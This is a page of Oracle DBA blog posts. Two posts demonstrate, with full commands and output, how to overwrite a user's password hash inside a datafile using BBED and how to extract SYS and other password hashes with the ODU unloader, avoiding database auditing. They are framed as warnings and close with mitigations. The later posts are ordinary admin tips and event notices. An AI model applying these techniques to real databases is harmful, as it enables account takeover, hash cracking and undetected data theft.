DBA Blogs
Using BBED to update Oracle Password Hashes
In a previous blog post I showed it was possible to extract unencrypted data directly from Oracle database files, bypassing all database level security and auditing.
In this post I will show it is also possible to avoid database level security and audit to update data. It is relatively easy to write a program to do this if you understand the Oracle block structure, but for this example I will use the BBED tool (Oracle Block Browser and EDitor)
The BBED tool is not documented or supported by Oracle for external clients, and is not distributed by Oracle in binary form, so must be compiled when needed. The libraries needed to compile it have not been distributed in 11g, but it still compiles with files copied from a 10g install.
Of course linking this tool with manually copied libraries, with no documentation or support from Oracle could easily lead to unrecoverable data corruption. It should be safe to use it to read data from blocks but I don't recommend using BBED to modify data on a database you care about. Test it against a DEV database, and don't expect support.
Using BBED to update password hashes in USER$ (cluster C_USER#)
BBED can directly update data in tables. In this case I am updating the password hash in table USER$ (cluster C_USER#) to allow database login with a known password.
The database is Oracle 11.2.0.1 on 32 bit Linux. I have also enabled case sensitive login for extra security, so password hashes are stored in attribute SPARE4.
SQL> show parameter case
NAME TYPE VALUE
------------------------------------ ----------- ----------------
sec_case_sensitive_logon boolean TRUE
First get the hash for a known password. This can be done in any database, then used on the target.
SQL> alter user hr identified by knownpassword;
User altered.
SQL> select spare4 from user$ where name in ('HR');
SPARE4
--------------------------------------------------------------------------------
S:EA05877BC03C03422C55E39A43BD013013D7EEF334CF5FEAA022D952B78E
So the hash we WANT is :-
S:EA05877BC03C03422C55E39A43BD013013D7EEF334CF5FEAA022D952B78E
Now find details of the string, file, block, offset to replace. This could be done by scanning blocks on disk, but in this demonstration I will use data dictionary tables to speed it up.
SQL> select spare4 from user$ where name in ('HR');
SPARE4
-----------------------------------------------------------------
S:67C6E2E3B0690D6659CF11B7EB968A64879174F4276654CD0B980314C98C
And the hash we want to REPLACE is :-
S:67C6E2E3B0690D6659CF11B7EB968A64879174F4276654CD0B980314C98C
Now we find the file and block where we should look for the hash string.
SQL> select file_id, block_id, blocks from dba_extents where segment_name = 'C_USER#';
FILE_ID BLOCK_ID BLOCKS
---------- ---------- ----------
1 208 8
SQL> select rowid from sys.user$ where name = 'HR';
ROWID
------------------
AAAAAKAABAAAADVAAG
SQL> SELECT dbms_rowid.rowid_block_number('AAAAAKAABAAAADVAAG') FROM dual;
DBMS_ROWID.ROWID_BLOCK_NUMBER('AAAAAKAABAAAADVAAG')
---------------------------------------------------
213
SQL> select file#||' '||name||' '||bytes from v$datafile where file# = 1;
FILE#||''||NAME||''||BYTES
--------------------------------------------------------------------------------
1 /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf 702545920
So we have identified that C_USER# is stored in file 1, in one extent of 8 blocks starting at block number 208. The actual row we want to update is in block 213.
With the file details we can create the parameter file and execute BBED :-
vi /home/oracle/bbed.par
blocksize=8192
listfile=/home/oracle/fileunix.log
mode=edit
1 /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf 702545920
$ bbed
Password:
BBED: Release 2.0.0.0.0 - Limited Production on Mon Jan 21 08:34:55 2013
Copyright (c) 1982, 2009, Oracle and/or its affiliates. All rights reserved.
************* !!! For Oracle Internal Use only !!! ***************
# Load the configuration file :-
BBED> SET LIST '/home/oracle/bbed.par'
LISTFILE /home/oracle/bbed.par
# Specify the filename to work on :-
BBED> SET FILENAME '/ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf'
FILENAME /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf
# Tell BBED to work on file 1, block 213 :-
BBED> set dba 1,213
DBA 0x004000d5 (4194517 1,213)
# Now find the offset where the hash string starts :-
BBED> find /c S:67C6E2E3B0690D6659CF11B7EB968A64879174F4276654CD0B980314C98C
File: /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf (1)
Block: 213 Offsets: 5393 to 5904 Dba:0x004000d5
------------------------------------------------------------------------
533a3637 43364532 45334230 36393044 36363539 43463131 42374542 39363841
36343837 39313734 46343237 36363534 43443042 39383033 31344339 38436c00
16040248 5202c102 10433232 42333046 42423839 42363541 4402c108 02c10407
# Dump the data at that offset to confirm the length and content
BBED> dump /v dba 1,213 offset 5393 count 62
File: /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf (1)
Block: 213 Offsets: 5393 to 5454 Dba:0x004000d5
-------------------------------------------------------
533a3637 43364532 45334230 36393044 l S:67C6E2E3B0690D
36363539 43463131 42374542 39363841 l 6659CF11B7EB968A
36343837 39313734 46343237 36363534 l 64879174F4276654
43443042 39383033 31344339 3843 l CD0B980314C98C
# Set BBED to EDIT mode
BBED> SET MODE EDIT
MODE Edit
# Modify update the block with the new hash string from the specified offset
BBED> modify /c S:EA05877BC03C03422C55E39A43BD013013D7EEF334CF5FEAA022D952B78E dba 1,213 offset 5393
Warning: contents of previous BIFILE will be lost. Proceed? (Y/N) Y
File: /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf (1)
Block: 213 Offsets: 5393 to 5454 Dba:0x004000d5
------------------------------------------------------------------------
533a4541 30353837 37424330 33433033 34323243 35354533 39413433 42443031
33303133 44374545 46333334 43463546 45414130 32324439 35324237 3845
# Dump the data again to confirm the update.
BBED> dump /v dba 1,213 offset 5393 count 62
File: /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf (1)
Block: 213 Offsets: 5393 to 5454 Dba:0x004000d5
-------------------------------------------------------
533a4541 30353837 37424330 33433033 l S:EA05877BC03C03
34323243 35354533 39413433 42443031 l 422C55E39A43BD01
33303133 44374545 46333334 43463546 l 3013D7EEF334CF5F
45414130 32324439 35324237 3845 l EAA022D952B78E
We confirmed that the hash has been updated. Now, we need to update the block checksum to match the new data.
Check if the checksum needs to be updated :-
BBED> sum dba 1,213
Check value for File 1, Block 213:
current = 0x8d06, required = 0x8208
It does need to be updated, so now we apply the update.
BBED> sum dba 1,213 apply
Check value for File 1, Block 213:
current = 0x8208, required = 0x8208
# Now exit BBED and check from the database if we can see the changed data :-
SQL> select spare4 from user$ where name in ('HR');
SPARE4
-----------------------------------------------------------------
S:67C6E2E3B0690D6659CF11B7EB968A64879174F4276654CD0B980314C98C
# Select from the database is still showing the old value because it uses the cached block version in memory. The database needs to re-read the block from disk to get the updated block. This could be done by a database restart, by filling the buffer cache to flush LRU blocks, or by manually flushing the cache. If someone was actually using BBED to update data the best time would be immediately before or after a database restart to avoid a mismatch between data on disk and in cache, and avoid having the changed disk block being overwritten.
In this case I will speed up the process by flushing the cache.
SQL> alter system flush buffer_cache;
System altered.
SQL> select spare4 from user$ where name in ('HR');
SPARE4
-----------------------------------------------------------------
S:EA05877BC03C03422C55E39A43BD013013D7EEF334CF5FEAA022D952B78E
You can see the select now returns the updated hash for the known password. And we can test is using :-
SQL> connect hr/knownpasswordConnected.
Using BBED (or similar program) it is possible for someone with write access to Oracle datafiles to directly update data, passwords, or code and bypass database level security and audit. To avoid this vulnerability, secure the server, limit access to datafiles, and encrypt sensitive data.
If you want to find out more about BBED you can run "help all" you can get a basic listing of commands.
More information about BBED can be found here in the following document by Graham Thornton :- http://orafaq.com/papers/dissassembling_the_data_block.pdf
Using Oracle Data Unloader (ODU) to extract data from Oracle Databases while avoiding security and auditing.
There are some very expensive products being sold to stop people from accessing sensitive data in Oracle databases, and some companies even insist that DBAs should manage databases without having access to the data. This post is to remind managers that even with the most expensive security product, if the data is not encrypted, anyone with access to the files on disk can read it. Don't believe what the Salesmen tell you !!!
Anyone with access to Oracle datafiles with unencrypted table data can extract it. The Oracle block structure is reasonably well known, and there are a number of commercial products that allow users to read directly from files without being logged into the database. If you are reading data directly from files, it can be done from standby databases, shutdown databases, or even file fragments or backup pieces.
These data unloader tools are usually meant for extracting data from corrupt files, truncated tables, or for fast data migration or replication, but they can also be used to bypass database security and audit layers for extraction of sensitive data or even password hashes which can be used to guess passwords for privilege escalation.
Following is an example using the Oracle Data Unloader (ODU) tool. There are other data unloader tools available, and I have not compared them, so can't say which is best, and have not compared prices.
1. Download Oracle Data Unloader (ODU) trial version from http://www.oracleodu.com/en/ and extract the binary and config files.2. Get the SYSTEM tablespace file names by selecting from v$datafile, or by looking in the OS.
SQL> select ts#,file#,rfile#,name from v$datafile where name like '%system%';
TS# FILE# RFILE# NAME
---------- ---------- ---------- --------------------------------------------------------------------------------
0 1 1 /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf
3. Add the datafile to control.txt
$ more control.txt
#ts fno rfno filename block_size is_big_file header_offset blocks
0 1 1 /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf
4. Start ODU
$ ./odu
Oracle Data Unloader trial version 4.1.3
Copyright (c) 2008,2009,2010,2011 XiongJun. All rights reserved.
Web: http://www.oracleodu.com
Email: magic007cn@gmail.com
loading default config.......
byte_order little
block_size 8192
block_buffers 1024
error at line 3.
db_timezone -7
Invalid db timezone:-7
client_timezone 8
Invalid client timezone:8
asmfile_extract_path /asmfile
data_path data
lob_path /odu/data/lob
charset_name US7ASII
charset name 'US7ASII' not found,will use default charset ZHS16GBK
ncharset_name AL16UTF16
output_format text
lob_storage infile
clob_byte_order big
trace_level 1
delimiter |
unload_deleted no
file_header_offset 0
is_tru64 no
record_row_addr no
convert_clob_charset yes
use_scanned_lob yes
trim_scanned_blob yes
lob_switch_dir_rows 20000
db_block_checksum yes
db_block_checking yes
rdba_file_bits 10
compatible 10
load config file 'config.txt' successful
loading default asm disk file ......
grp# dsk# bsize ausize disksize diskname groupname path
---- ---- ----- ------ -------- --------------- --------------- --------------------------------------------
load asm disk file 'asmdisk.txt' successful
loading default control file ......
ts# fn rfn bsize blocks bf offset filename
---- ---- ---- ----- -------- -- ------ --------------------------------------------
0 1 1 8192 85760 N 0 /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf
load control file 'control.txt' successful
loading dictionary data......done
loading scanned data......done
5. Unload the dictionary
ODU> unload dict
CLUSTER C_USER# file_no: 1 block_no: 208
TABLE OBJ$ file_no: 1 block_no: 240
CLUSTER C_OBJ# file_no: 1 block_no: 144
CLUSTER C_OBJ# file_no: 1 block_no: 144
found IND$'s obj# 19
found IND$'s dataobj#:2,ts#:0,file#:1,block#:144,tab#:3
found TABPART$'s obj# 576
found TABPART$'s dataobj#:576,ts#:0,file#:1,block#:3824,tab#:0
found INDPART$'s obj# 581
found INDPART$'s dataobj#:581,ts#:0,file#:1,block#:3872,tab#:0
found TABSUBPART$'s obj# 588
found TABSUBPART$'s dataobj#:588,ts#:0,file#:1,block#:3928,tab#:0
found INDSUBPART$'s obj# 593
found INDSUBPART$'s dataobj#:593,ts#:0,file#:1,block#:3968,tab#:0
found IND$'s obj# 19
found IND$'s dataobj#:2,ts#:0,file#:1,block#:144,tab#:3
found LOB$'s obj# 80
found LOB$'s dataobj#:2,ts#:0,file#:1,block#:144,tab#:6
found LOBFRAG$'s obj# 609
found LOBFRAG$'s dataobj#:609,ts#:0,file#:1,block#:4096,tab#:0
6. Unload the table data you want. In this case we are unloading the USER$ table which contains password hashes.ODU> unload table SYS.USER$
Unloading table: USER$,object ID: 22
Unloading segment,storage(Obj#=22 DataObj#=10 TS#=0 File#=1 Block#=208 Cluster=1)
89 rows unloaded
7. Review the extracted data, load it into another database etc.
$ ls -lrt
total 9136
-rwxr-xr-x 1 oracle oinstall 558 Mar 22 2011 config.txt
-rwxr-xr-x 1 oracle oinstall 2588361 Feb 2 2012 odu
-rw-r--r-- 1 oracle oinstall 0 Jan 18 09:40 odu_trace.txt
-rwxr-xr-x 1 oracle oinstall 87 Jan 18 09:40 asmdisk.txt
-rwxr-xr-x 1 oracle oinstall 181 Jan 18 09:50 control.txt
-rw-r--r-- 1 oracle oinstall 1440 Jan 18 09:52 user.odu
-rw-r--r-- 1 oracle oinstall 2732224 Jan 18 09:52 obj.odu
-rw-r--r-- 1 oracle oinstall 3725801 Jan 18 09:52 col.odu
-rw-r--r-- 1 oracle oinstall 148683 Jan 18 09:52 tab.odu
-rw-r--r-- 1 oracle oinstall 33307 Jan 18 09:52 lob.odu
-rw-r--r-- 1 oracle oinstall 40 Jan 18 09:52 lobfrag.odu
-rw-r--r-- 1 oracle oinstall 61636 Jan 18 09:52 ind.odu
drwxr-xr-x 2 oracle oinstall 4096 Jan 18 09:53 data
$ cd data
$ ls
SYS_USER$.ctl SYS_USER$.sql SYS_USER$.txt
$ more SYS_USER$.txt
0|SYS|1|DCB748A5BC5390F2|0|3|2009-08-13 23:00:59|2013-01-15 10:22:57|2009-08-13 23:56:35|2009-08-13 23:56:35|0||1|||0|0|DEFAU
LT_CONSUMER_GROUP||0|||S:53620F1B30414FA6489438A818421FB22C752C53A9B0519C7A3FEB67A7C5
I was able to extract the password hashes for the SYS user, and all other users in the database (not shown), without logging into the database, or leaving an audit record. I could then use brute force, or rainbow tables to find the password. Alternatively I could also extract any unencrypted credit card details, application passwords etc.
To properly secure sensitive data in Oracle Databases, access to the server, datafiles, and backups should be restricted, and data should be encrypted.
linux servers that do not boot up on /dev/sda make me grumpy!
New Dell servers on Oracle Linux 6.2 ... using red hat compatible kernel aka:
2.6.32-220.el6.x86_64
The new dell boxes have an internal raid controller ( Perc H700 ? ) and are connected to EMC direct attached storage using emulex HBA's. All operating system and linux software installed on internal disks ( mirrored ) ... all database stuff going to be on EMC storage.
Our new servers had a very strange set of behaviors when booting up from internal disks. Most of the time they would boot up and see the first internal raid drive as /dev/sda ( so /boot partition is on /dev/sda1 ) ... but at other times they would see /boot on a different device ( for example /boot on /dev/sdi1 ).
The entries in /etc/fstab for 6.x systems now apparently use UUID entries ... ( for example ):
UUID=e6964e7e-62a9-450c-a66e-a411b40a4ed9 / ext4 defaults 1 1
So when the servers came up on a different boot drive they would run ok ... looking strange ... but we ran into a different problem using ( still trying to use ... don't get me started ) a backup linux imaging product ( Acronis ) that just did not understand at all backing up or restoring a system when it was not running from /dev/sda.
Logically it seemed pretty straight forward. Force a way somehow so that first internal drive is always on /dev/sda.
We pay Oracle for linux support so open a ticket with them. We now have a solution but it took a very very long time for oracle linux support to come up with solution. Might be a by product of working with a junior level person ... might be from a strange new problem. Tried all sorts of stuff initially with udev rules ... nope none of this worked at all.
Eventually the solution that is now deployed and working involved removing lpfc ( emulex ? HBA support ? ) modules from the initramfs image that is invoked on first boot up. Of course we run stuff on EMC storage and yes eventually after booting our HBA's are working just fine.
Anyway here is what we had to do to get this working in our 6.2 redhat compatible kernel environment. It is some low level pretty esoteric linux stuff and well beyond what I wanted to have to deal with ... but it is working nicely.
Step 1: get the latest available dracut rpm's and stick them into directory for updating:
dracut]# ls -ltr | more
total 140-rw-r--r-- 1 root root 114884 Jan 11 13:29 dracut-004-284.0.1.el6_3.1.noarch.rpm-rw-r--r-- 1 root root 21524 Jan 11 13:29 dracut-kernel-004-284.0.1.el6_3.1.noarch.rpm
Step2: Update to latest rpm's ... ( not sure why the 100% 50% 100% stuff gone from below )
rpm -Uvh dracut*.rpm | more
warning: dracut-004-284.0.1.el6_3.1.noarch.rpm: Header V3 RSA/SHA256 Signature,YPreparing... ##################################################dracut ##################################################dracut-kernel ##################################################
Step 3: Verify installation of new dracut rpms
# rpm -qa | grep dracut
dracut-kernel-004-284.0.1.el6_3.1.noarchdracut-004-284.0.1.el6_3.1.noarch
Step 4: Now change to the /boot directory and create a new initramfs image file.
Use this command: dracut --omit-drivers lpfc initramfs-$(uname -r)-no-lpfc.img
# dracut --omit-drivers lpfc initramfs-$(uname -r)-no-lpfc.img
Step 5: Check img file created ...
# ls -ltr *.img | more
-rw-r--r-- 1 root root 15875365 Jan 11 13:39 initramfs-2.6.32-220.el6.x86_64-no-lpfc.img
Step 6: Verify that no lpfc moduels are in the new initramfs image file
# zcat *no-lpfc.img | cpio -t | grep lpfc | more
87575 blocks
Agove output is correct ... if you see something like this ... lpfc is still in the img file:
lib/modules/2.6.32-220.el6.x86_64/kernel/drivers/scsi/lpfclib/modules/2.6.32-220.el6.x86_64/kernel/drivers/scsi/lpfc/lpfc.ko
Final step ... create an entry in /etc/grub.conf to point to the new initramfs img file.
Copy the current /etc/grub.conf to something else.
Change the default= value to point to new lines at the end of the /etc/grub.conf file. My change was to change default=1 to default=2.
Add in new lines at the end of grub.conf ... my entries looked like this ( this is just part of my grub.conf file ).
title Oracle Linux Server (2.6.32-220.el6.x86_64) root (hd0,0)kernel /vmlinuz-2.6.32-220.el6.x86_64 ro root=UUID=e6964e7e-62a9-450c-a66e-a411b40a4ed9 rd_NO_LUKS LANG=en_US.UTF-8 rd_NO_MD quiet SYSFONT=latarcyrheb-sun16 rhgb crashkernel=auto KEYBOARDTYPE=pc KEYTABLE=us rd_NO_DMinitrd /initramfs-2.6.32-220.el6.x86_64-no-lpfc.img
***
At this point the change should be complete ... start rebooting and test ... do we always come up on /dev/sda?
For me yes this finally fixed the problem.
My guess is that I will have to revisit all of this when doing next OL linux update. Probably going to sit out 6.3 and eventually move from 6.2 up to 6.4 ... probably will have to rebuild new initramfs image and of course test.
I hope this saves some other poor geek time ... it sure took us and oracle support a long time to get this working correctly!
Grumpy old DBA at Great Lakes Oracle Conference
This year we are hitting it out of the ball park with Chris Date ( CJ Date ) the godfather of relational database design theory and principles along with Tom Kyte.
Conference renamed this year as GLOC Great Lakes Oracle Conference on May 14th/15th with additional 1/2 day workshop ( extra cost ) on monday May 13th by Tom Kyte/Joel Kallman/Craig Shallahamer. Joel Kallman for anyone who has not seen him is an incredible speaker an Oracle employee ( Director of Apex Development ) and will be doing a hands on / bring your laptop / hack up an Apex app.
GLOC is a joint venture between NEOOUG and the Columbus Oracle Users Group ( OOUG ). Hoping to see some people from Detroit/Toledo and the Chicago area also plus well those pesky Pittsburgh area Steeler fans.
We are looking for speakers and the call for presentations is now open! Accepted speakers receive ( as usual ) free conference registration.
Here's a couple of references:
First for my usergroup: NEOOUG
Next for the conference: Great Lakes Oracle Conference ... Call for Presentations ... Registration
“Check if the DISPLAY variable is set” error – Installing Oracle Forms from a Mac
While installing Oracle Forms and Reports 11gR2 (11.1.2.0.0) from a Mac (OS/x Mountain Lion) the following error occurred executing the runInstaller installation script:
$ ./runInstaller
Starting Oracle Universal Installer… Checking Temp space: must be greater than 270 MB. Actual 40478 MB Passed Checking swap space: must be greater than 500 MB. Actual 4094 MB Passed Checking monitor: must be configured to display at least 256 colors >>> Could not execute auto check for display colors using command /usr/bin/xdpyinfo. Check if the DISPLAY variable is set. Failed <<<< Some requirement checks failed. You must fulfill these requirements before continuing with the installation, Continue? (y/n) [n] y I have a remote session from my mac using terminal. To export the display, I typed ssh -Y user@servername. I have upgraded my O/S to Mountain Lion a couple of days ago. So I though that might be the cause. I tried to manually start X11 and I received the following message:
click on the continue button and get redirected to the following URL: About X11 and OS X Mountain Lion explaining X11 is no longer part of the O/S and that I should use XQuartz from now on.
download and Install XQuartz and there you go!
You can now continue with the rest of the Install via the Installer GUI.
Interested in learning about Database Life Cycle Management via EM 12c ?
Database Life Cycle Management via EM 12c eliminates manual and time consuming tasks related to discovery, Database provisioning, patching, configuration management, ongoing change
management and disaster protection automation.
Click here to register for a live webcast.
Webcast :Unleash the Power of Oracle Enterprise Manager to Build Private Clouds
There is an interesting webcast happening on 25th April on Building private cloud using EM which covers everything from Setup to Meeting & Charge-back , below are the details :
Unleash the Power of Oracle Enterprise Manager to Build Private Clouds
Cloud is undergoing rapid adoption. As IT
organizations get flooded with requests for new resources, they are
looking for large scale automation for provisioning, monitoring and
administering resources. In this highly technical session, you will
learn from architects how the Oracle Enterprise Manager 12c Cloud
Management Pack can enable IaaS (Infrastructure as a Service) and DBaaS
(Database as a Service) involving self-service provisioning, monitoring
and chargeback in your enterprise and help you develop an enterprise
private cloud in quick time.
In this live session, we will demonstrate and review the following cloud-related topics:
- Plan and Setup the Cloud Environment
- Enabling Consolidation Cost Savings
- Self Service Access
- Monitor and Manage Cloud Operations
- Meter, Chargeback, and Optimize Cloud Services
Click here to register for a live webcast.
Whitepaper : Enterprise Manager 12c Cloud Control Metering and Chargeback
Here is an interesting white paper on Metering and Charge-back using Enterprise Manager 12c . This covers Cloud, Database and Middleware.
http://www.oracle.com/technetwork/oem/cloud-mgmt/wp-em12c-chargeback-final-1585483.pdf
Looking to apply Bundle Patch 1 on Enterprise Manager 12c ? Here is a workbook to help you ....
Are you planning to apply Bundle patch 1 for EM 12c ?
If yes , check this workbook which describes the complete flow .
Enterprise Manager Cloud Control Workbook for Applying Bundle Patch 1 (February 2012) and 12.1.0.2 Plugins [ID 1393173.1]
Applies to:
Enterprise Manager Base Platform - Version: 12.1.0.1.0 to 12.1.0.1.0 - Release: 12.1 to 12.1
Purpose
This document provides an overview of the installation steps needed to apply Bundle Patch 1 on the EM Cloud Control 12c Oracle Management Service OMS) and Management Agent.
Hello to the world of EM
Its been an year since i moved to my new role as Product Manager for Enterprise Manager & time flew like anything specially with activities like Product Beta's , Pre-launch Activity , Oracle Open World , Product Launch , Collateral creation (white-papers , video , demos etc) & 100's of others things . Now finally i have decided to revive this blog & start sharing my experience on Em12 .


